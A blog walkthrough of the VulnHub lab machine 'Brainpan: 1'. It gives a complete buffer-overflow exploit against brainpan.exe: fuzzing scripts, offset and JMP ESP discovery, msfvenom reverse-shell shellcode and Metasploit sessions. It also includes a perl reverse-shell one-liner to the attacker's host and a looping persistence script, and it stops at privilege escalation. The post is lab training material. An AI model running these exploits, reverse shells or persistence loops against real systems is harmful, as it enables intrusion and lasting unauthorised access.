---
layout: post
title: "Brainpan: 1"
date: 2019-04-15 00:34:01 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, buffer overflow, immunity debugger, mona, wine, man, less]
---
Hostname: brainpan
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/brainpan# nmap -Pn -sT -sV -sC -A -oA brainpan -p 1-65535 <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-22 23:23 EDT
Nmap scan report for brainpan.homenet.dom (<IP_ADDRESS>)
Host is up (0.0028s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
9999/tcp open abyss?
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.70%I=7%D=4/22%Time=5CBE8521%P=x86_64-pc-linux-gnu%r(NU
SF:LL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_\|
SF:\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\
SF:x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x
SF:20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x
SF:20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20\x
SF:20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN\x
SF:20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER\x
SF:20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 08:00:27:06:7A:58 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 2.80 ms brainpan.homenet.dom (<IP_ADDRESS>)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.07 seconds
Gaining Access
The service available on TCP port 9999 is returning lots of hex characters. Let's use netcat to capture the information being sent and see what we've got.
root@kali:~/Walkthroughs/brainpan# nc <IP_ADDRESS> 9999 > tcp9999.bin
^C
root@kali:~/Walkthroughs/brainpan# vim tcp9999.bin
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
Looks like we have a non-standard login interface. We obviously don't have the password for this (yet?), so we'll have to come back to it.
There is a python SimpleHTTP service listening on TCP port 10000.
root@kali:~/Walkthroughs/brainpan# nikto -h http://<IP_ADDRESS>:10000
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: <IP_ADDRESS>
+ Target Hostname: <IP_ADDRESS>
+ Target Port: 10000
+ Start Time: 2019-04-23 00:01:04 (GMT-4)
---------------------------------------------------------------------------
+ Server: SimpleHTTP/0.6 Python/2.7.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Python/2.7.3 appears to be outdated (current is at least 2.7.8)
+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2)
+ OSVDB-3268: /bin/: Directory indexing found.
+ OSVDB-3092: /bin/: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: invalid HTTP response
+ Scan terminated: 20 error(s) and 7 item(s) reported on remote host
+ End Time: 2019-04-23 00:01:35 (GMT-4) (31 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
The versions of Python and SimpleHTTP identified don't have known exploits in the exploit database.
The /bin directory only contains a single EXE file.
Let's download the EXE and dig into it to see if we can find anything useful.
root@kali:~/Walkthroughs/brainpan# wget http://<IP_ADDRESS>:10000/bin/brainpan.exe
root@kali:~/Walkthroughs/brainpan# strings brainpan.exe > brainpan.exe.strings
root@kali:~/Walkthroughs/brainpan# vim brainpan.exe.strings
Looking through the strings, this EXE appears to be the same one running on TCP port 9999. We also see a potential password "sh**storm" (** added by me for the obvious reasons).
I try connecting to the service on TCP port 9999 using netcat and passing it the password.
root@kali:~/Walkthroughs/brainpan# nc -v <IP_ADDRESS> 9999
brainpan.homenet.dom [<IP_ADDRESS>] 9999 (?) open
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> sh**storm
ACCESS GRANTED
The message returned is "ACCESS GRANTED", but then I just get disconnected. So, that seems worthless.
So, we have a non-standard login service on TCP port 9999. We have the service's EXE available on TCP port 10000. The login service accepts user input, but doesn't seem to do anything with it (wether you login "correctly" or not). I guess the next thing to try is to crash the service and see if we might have a buffer overflow to exploit.
To do this, we'll start by creating a simple python script to send more and more 'A's until we crash the service. This will give us an idea about how much data it takes to overflow the register. Also, since we have the EXE we want to test, we'll run it and debug it on a Windows machine (<IP_ADDRESS>) rather than crashing the service on our target.
root@kali:~/Walkthroughs/brainpan# cat fuzz.py
#!/usr/bin/python
import socket
# create an array of buffers (31), from 1,100,200...3000 (increments of 100).
buffer=["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+100
# start sending each buffer to see if/when the service crashes
for string in buffer:
try:
print "Fuzzing with %s bytes" % len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(('<IP_ADDRESS>',9999))
s.recv(1024)
s.send(string + '\n')
s.close()
except:
print "Could not connect to TCP port 9999"
break
We will start brainpan.exe on our Windows machine...
Then start Immunity Debugger and File -> Attach to the brainpan.exe
Once attached, we'll hit F9 in Immunity Debugger to go from Paused to Running.
Now, we can return to our attacking machine and run our fuzzer.
root@kali:~/Walkthroughs/brainpan# python fuzz.py
Fuzzing with 1 bytes
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Could not connect to TCP port 9999
When we run our script, we see that things die at around 700 bytes. Actually, we crashed the service at 600 bytes, then failed to connect when we started our loop to send 700 bytes. Checking our debugger, we see we were able to overflow the EIP (Extended Instruction Pointer) with As (\x41). Controlling the EIP is key in an overflow attack.
Knowing this, we can create a unique string to send to the program and find out exactly how many As to send before setting the EIP. To do this, we use the
mona module inside Immunity Debugger. We'll create a unique string of 650 characters (since we know the crash happened at around 600).
In the command bar at the bottom of Immunity Debugger, we enter
Now, we'll take the unique string generated by mona and use it in our python script (instead of As).
root@kali:~/Walkthroughs/brainpan# cat overflow.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av"
try:
print "Sending evil buffer..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(('<IP_ADDRESS>',9999))
s.recv(1024)
s.send(buffer + '\n')
print "Done!"
except:
print "Could not connect to TCP port 9999"
We'll restart brainpan.exe and Immunity Debugger on our Windows machine then re-attach and press F9. Now, let's send our unique string.
root@kali:~/Walkthroughs/brainpan# python overflow.py
Sending evil buffer...
Done!
Nothing fancy in the output here. Let's check the debugger.
The EIP now has a string of 35724134 (hex). Looking down in our memory dump, we see that corresponds to "4Ar5" (ascii). Let's use mona to see how many bytes into our unique string "4Ar5" occurs.
Mona tells us the string occurs at position 524. Now we know we need to use 524 As to overflow into the EIP. Let's test that. This time we'll send 524 As, then 4 Bs (which should fit perfectly into our EIP, then 500 Cs and a single D. We are going to send 500 Cs to see if we can overflow enough space for the exploit we want to send later (which will take about 300-400 bytes). We are putting the single D on the end to make sure all 500 Cs made it (without having to count).
root@kali:~/Walkthroughs/brainpan# cat overflow2.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "A"*524 + "B"*4 + "C"*500 + "D"
try:
print "Sending evil buffer..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(('<IP_ADDRESS>',9999))
s.recv(1024)
s.send(buffer + '\n')
print "Done!"
except:
print "Could not connect to TCP port 9999"
We'll restart brainpan.exe and Immunity Debugger on our Windows machine then re-attach and press F9. Now, let's send our updated buffer and check the registers.
Nice! We overflowed with As (\x41) right up to our EIP, filled the EIP with Bs (\x42) and then carved out space for our exploit with Cs (\x43) in the ESP (stack pointer). Scrolling down in our memory stack, we don't see our final D. Our Cs start at memory address 0028F930 and end at address 0028FB08. Doing some hex math (FB08 - F930), that means we have 472 bytes to work with. That should still be enough for our exploit code, but we are cutting it close.
Now that we know the format of what we want to send, we need to do a couple more things. 1) We need to know if there are any bad characters our exploit code shouldn't use and 2) we need to know if there is a JMP ESP command we can use for our EIP (rather than trying to hard code a memory address).
Let's start by identifying any bad characters. Again, we'll use mona to generate a byte array of all the possible bad characters. We'll then send the list in place of the Cs and see if any fail to fill the stack.
The mona command we'll use to build our byte array is...
!mona bytearray -b '\x00'
We went ahead and excluded the notoriously bad null character (\x00).
We can pull the byte array from the C:\Logs\brainpan\bytearray.txt file mona created and use it in our python script.
root@kali:~/Walkthroughs/brainpan# cat overflow3.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = "A"*524 + "B"*4 + badchars
try:
print "Sending evil buffer..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(('<IP_ADDRESS>',9999))
s.recv(1024)
s.send(buffer + '\n')
print "Done!"
except:
print "Could not connect to TCP port 9999"
We'll restart brainpan.exe and Immunity Debugger on our Windows machine then re-attach and press F9. Now, let's send the bad chars and check the registers.
We'll use mona to help us check to see that all the bad chars made it to the stack. To do this, we need take note of the ESP address (0028F930). Now, we'll run the following mona command.
!mona compare -f C:\Logs\brainpan\bytearray.bin -a 0028F930
Mona tells us the byte array is unmodified in the stack, so all the "bad" characters made it through. That will give us more flexibility when encoding our payload with msfvenom later.
The last thing we need to do is see if our application (or one of its associated libraries) have a non-ASLR or DEP protected module we can use to jump to the ESP. Again, mona can help us identify the modules available.
Looks like our only option is going to be the brainpan.exe itself. There are two ways we can search for the location of JMP ESP in the brainpan.exe.
1) Use objdump
root@kali:~/Walkthroughs/brainpan# objdump -D brainpan.exe | grep -i jmp | grep -i esp
311712f3: ff e4 jmp *%esp
2) Use mona
!mona find -s "\xff\xe4" -m brainpan.exe
In both cases, we end up with the address 311712f3. In Immunity Debugger, we can also jump to that address and confirm.
We'll run one more test with our python script to confirm we can set the EIP to the JMP ESP address and have it end up at the ESP.
root@kali:~/Walkthroughs/brainpan# cat overflow4.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# JMP ESP address = 0x311712F3 = \x31\x17\x12\xF3
# Because of Little Endian, we need to reverse the address to \xF3\x12\x17\x31
buffer = "A"*524 + "\xF3\x12\x17\x31" + "C"*467 + "D"
try:
print "Sending evil buffer..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(('<IP_ADDRESS>',9999))
s.recv(1024)
s.send(buffer + '\n')
print "Done!"
except:
print "Could not connect to TCP port 9999"
We'll restart brainpan.exe and Immunity Debugger on our Windows machine then re-attach and press F9. Now, let's send our last test and check the registers.
Down in the memory stack, in between the As and the Cs we can see our JMP ESP address (F3 on one line, then 12 17 31, reading from right to left). We can also see the EIP is set to the memory address at the end of all our Cs.
Time to replace our Cs with actual shell code. We will generate our shell code with msfvenom, excluding the one bad character we want to avoid (\x00).
root@kali:~/Walkthroughs/brainpan# msfvenom -p windows/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=5432 -f c –e x86/shikata_ga_nai -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
"\xd9\xc2\xba\x51\x6d\x04\x76\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x52\x31\x53\x17\x03\x53\x17\x83\x92\x69\xe6\x83\xe8\x9a\x64"
"\x6b\x10\x5b\x09\xe5\xf5\x6a\x09\x91\x7e\xdc\xb9\xd1\xd2\xd1"
"\x32\xb7\xc6\x62\x36\x10\xe9\xc3\xfd\x46\xc4\xd4\xae\xbb\x47"
"\x57\xad\xef\xa7\x66\x7e\xe2\xa6\xaf\x63\x0f\xfa\x78\xef\xa2"
"\xea\x0d\xa5\x7e\x81\x5e\x2b\x07\x76\x16\x4a\x26\x29\x2c\x15"
"\xe8\xc8\xe1\x2d\xa1\xd2\xe6\x08\x7b\x69\xdc\xe7\x7a\xbb\x2c"
"\x07\xd0\x82\x80\xfa\x28\xc3\x27\xe5\x5e\x3d\x54\x98\x58\xfa"
"\x26\x46\xec\x18\x80\x0d\x56\xc4\x30\xc1\x01\x8f\x3f\xae\x46"
"\xd7\x23\x31\x8a\x6c\x5f\xba\x2d\xa2\xe9\xf8\x09\x66\xb1\x5b"
"\x33\x3f\x1f\x0d\x4c\x5f\xc0\xf2\xe8\x14\xed\xe7\x80\x77\x7a"
"\xcb\xa8\x87\x7a\x43\xba\xf4\x48\xcc\x10\x92\xe0\x85\xbe\x65"
"\x06\xbc\x07\xf9\xf9\x3f\x78\xd0\x3d\x6b\x28\x4a\x97\x14\xa3"
"\x8a\x18\xc1\x64\xda\xb6\xba\xc4\x8a\x76\x6b\xad\xc0\x78\x54"
"\xcd\xeb\x52\xfd\x64\x16\x35\x08\xce\x18\x1b\x64\x32\x18\xb6"
"\x4d\xbb\xfe\xd2\xbd\xed\xa9\x4a\x27\xb4\x21\xea\xa8\x62\x4c"
"\x2c\x22\x81\xb1\xe3\xc3\xec\xa1\x94\x23\xbb\x9b\x33\x3b\x11"
"\xb3\xd8\xae\xfe\x43\x96\xd2\xa8\x14\xff\x25\xa1\xf0\xed\x1c"
"\x1b\xe6\xef\xf9\x64\xa2\x2b\x3a\x6a\x2b\xb9\x06\x48\x3b\x07"
"\x86\xd4\x6f\xd7\xd1\x82\xd9\x91\x8b\x64\xb3\x4b\x67\x2f\x53"
"\x0d\x4b\xf0\x25\x12\x86\x86\xc9\xa3\x7f\xdf\xf6\x0c\xe8\xd7"
"\x8f\x70\x88\x18\x5a\x31\xb8\x52\xc6\x10\x51\x3b\x93\x20\x3c"
"\xbc\x4e\x66\x39\x3f\x7a\x17\xbe\x5f\x0f\x12\xfa\xe7\xfc\x6e"
"\x93\x8d\x02\xdc\x94\x87";
Our payload is 351 bytes, which is enough to fit into our overflowable space. Let's add the shell code to our python script and see if we can pop this service.
root@kali:~/Walkthroughs/brainpan# cat overflow-final.py
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# generated with the following msfvenom command
# msfvenom -p windows/shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=5432 [...]
payload=(
"\xd9\xc2\xba\x51\x6d\x04\x76\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x52\x31\x53\x17\x03\x53\x17\x83\x92\x69\xe6\x83\xe8\x9a\x64"
"\x6b\x10\x5b\x09\xe5\xf5\x6a\x09\x91\x7e\xdc\xb9\xd1\xd2\xd1"
"\x32\xb7\xc6\x62\x36\x10\xe9\xc3\xfd\x46\xc4\xd4\xae\xbb\x47"
"\x57\xad\xef\xa7\x66\x7e\xe2\xa6\xaf\x63\x0f\xfa\x78\xef\xa2"
"\xea\x0d\xa5\x7e\x81\x5e\x2b\x07\x76\x16\x4a\x26\x29\x2c\x15"
"\xe8\xc8\xe1\x2d\xa1\xd2\xe6\x08\x7b\x69\xdc\xe7\x7a\xbb\x2c"
"\x07\xd0\x82\x80\xfa\x28\xc3\x27\xe5\x5e\x3d\x54\x98\x58\xfa"
"\x26\x46\xec\x18\x80\x0d\x56\xc4\x30\xc1\x01\x8f\x3f\xae\x46"
"\xd7\x23\x31\x8a\x6c\x5f\xba\x2d\xa2\xe9\xf8\x09\x66\xb1\x5b"
"\x33\x3f\x1f\x0d\x4c\x5f\xc0\xf2\xe8\x14\xed\xe7\x80\x77\x7a"
"\xcb\xa8\x87\x7a\x43\xba\xf4\x48\xcc\x10\x92\xe0\x85\xbe\x65"
"\x06\xbc\x07\xf9\xf9\x3f\x78\xd0\x3d\x6b\x28\x4a\x97\x14\xa3"
"\x8a\x18\xc1\x64\xda\xb6\xba\xc4\x8a\x76\x6b\xad\xc0\x78\x54"
"\xcd\xeb\x52\xfd\x64\x16\x35\x08\xce\x18\x1b\x64\x32\x18\xb6"
"\x4d\xbb\xfe\xd2\xbd\xed\xa9\x4a\x27\xb4\x21\xea\xa8\x62\x4c"
"\x2c\x22\x81\xb1\xe3\xc3\xec\xa1\x94\x23\xbb\x9b\x33\x3b\x11"
"\xb3\xd8\xae\xfe\x43\x96\xd2\xa8\x14\xff\x25\xa1\xf0\xed\x1c"
"\x1b\xe6\xef\xf9\x64\xa2\x2b\x3a\x6a\x2b\xb9\x06\x48\x3b\x07"
"\x86\xd4\x6f\xd7\xd1\x82\xd9\x91\x8b\x64\xb3\x4b\x67\x2f\x53"
"\x0d\x4b\xf0\x25\x12\x86\x86\xc9\xa3\x7f\xdf\xf6\x0c\xe8\xd7"
"\x8f\x70\x88\x18\x5a\x31\xb8\x52\xc6\x10\x51\x3b\x93\x20\x3c"
"\xbc\x4e\x66\x39\x3f\x7a\x17\xbe\x5f\x0f\x12\xfa\xe7\xfc\x6e"
"\x93\x8d\x02\xdc\x94\x87")
# JMP ESP address = 0x311712F3 = \x31\x17\x12\xF3
# Because of Little Endian, we need to reverse the address to \xF3\x12\x17\x31
jmp_esp="\xF3\x12\x17\x31"
# a NOP slide (no operation instruction - "\x90") will ensure the start of
# our shell code isn't overwritten
# when hitting these instructions, control will "slide" down to our exploit code
nop_slide="\x90"*16
buffer = "A"*524 + jmp_esp + nop_slide + payload + "C"*(472 - 16 - 351)
try:
print "Sending evil buffer..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect(('<IP_ADDRESS>',9999))
s.recv(1024)
s.send(buffer + '\n')
print "Done!"
except:
print "Could not connect to TCP port 9999"
Before testing our exploit, we'll start our listener in Metasploit.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5432
Time to restart brainpan.exe and Immunity Debugger on our Windows machine then re-attach and press F9 one last time. Overflow to shell?
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (<IP_ADDRESS>:5432 -> <IP_ADDRESS>:49212) at 2019-04-24 16:49:05 -0400
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x86/windows <IP_ADDRESS>:5432 -> <IP_ADDRESS>:49212 (<IP_ADDRESS>)
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
Nice! Worked against my testing Windows machine. Now let's change the IP address in our python script and try it against <IP_ADDRESS>.
 Overflow to shell of <IP_ADDRESS>?
msf5 exploit(multi/handler) > [*] Command shell session 2 opened (<IP_ADDRESS>:5432 -> <IP_ADDRESS>:34361) at 2019-04-24 16:55:36 -0400
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 shell x86/windows CMD Version 1.4.1 Z:\home\puck> <IP_ADDRESS>:5432 -> <IP_ADDRESS>:34361 (<IP_ADDRESS>)
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
Z:\home\puck>
Yes! We have access.
Our exploit drops us into a wine command shell. We'd prefer to break out into a regular bash shell. Thankfully, we are able to navigate back to the underlying Linux system's root (on the Z: drive) and run native commands.
I'll start another listener in Metasploit for a regular reverse shell and then call the native perl to spawn a bash reverse shell.
Z:\home\puck>Z:\usr\bin\perl -e "use Socket;$i='<IP_ADDRESS>';$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/bash -i');};"
Z:\home\puck>[*] Command shell session 3 opened (<IP_ADDRESS>:5433 -> <IP_ADDRESS>:45345) at 2019-04-24 17:01:44 -0400
msf5 exploit(multi/handler) > sessions 3
[*] Starting interaction with 3...
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
Maintaining Access
The host doesn't have SSH access available, so I decided to create a simple shell script that will try to connect back to my attacking machine every 5 minutes and use python's SimpleHTTPServer to serve it up to the victim.
root@kali:~/Walkthroughs/brainpan# cat thumbs
#!/bin/sh
while true; do
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
root@kali:~/Walkthroughs/brainpan# python -m SimpleHTTPServer 4321
Serving HTTP on <IP_ADDRESS> port 4321 ...
<IP_ADDRESS> - - [24/Apr/2019 17:08:35] "GET /thumbs HTTP/1.1" 200 -
I downloaded the script to the victim's /home/puck/web directory and ran it in the background. Now, if I get disconnected, I should be able to restart a listener and get back in within 5 minutes.
puck@brainpan:~/web$ wget -O thumbs <IP_ADDRESS>:4321/thumbs
--2019-04-24 16:08:35-- http://<IP_ADDRESS>:4321/thumbs
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 309 [application/octet-stream]
Saving to: `thumbs'
0K 100% 47.4M=0s
2019-04-24 16:08:35 (47.4 MB/s) - `thumbs' saved [309/309]
puck@brainpan:~/web$ chmod +x thumbs
puck@brainpan:~/web$ ./thumbs &
[1] 2147
Privilege Escalation
Checking the operating system and kernel using uname and /etc/os-release, there aren't any good known exploits.
puck@brainpan:~$ uname -a
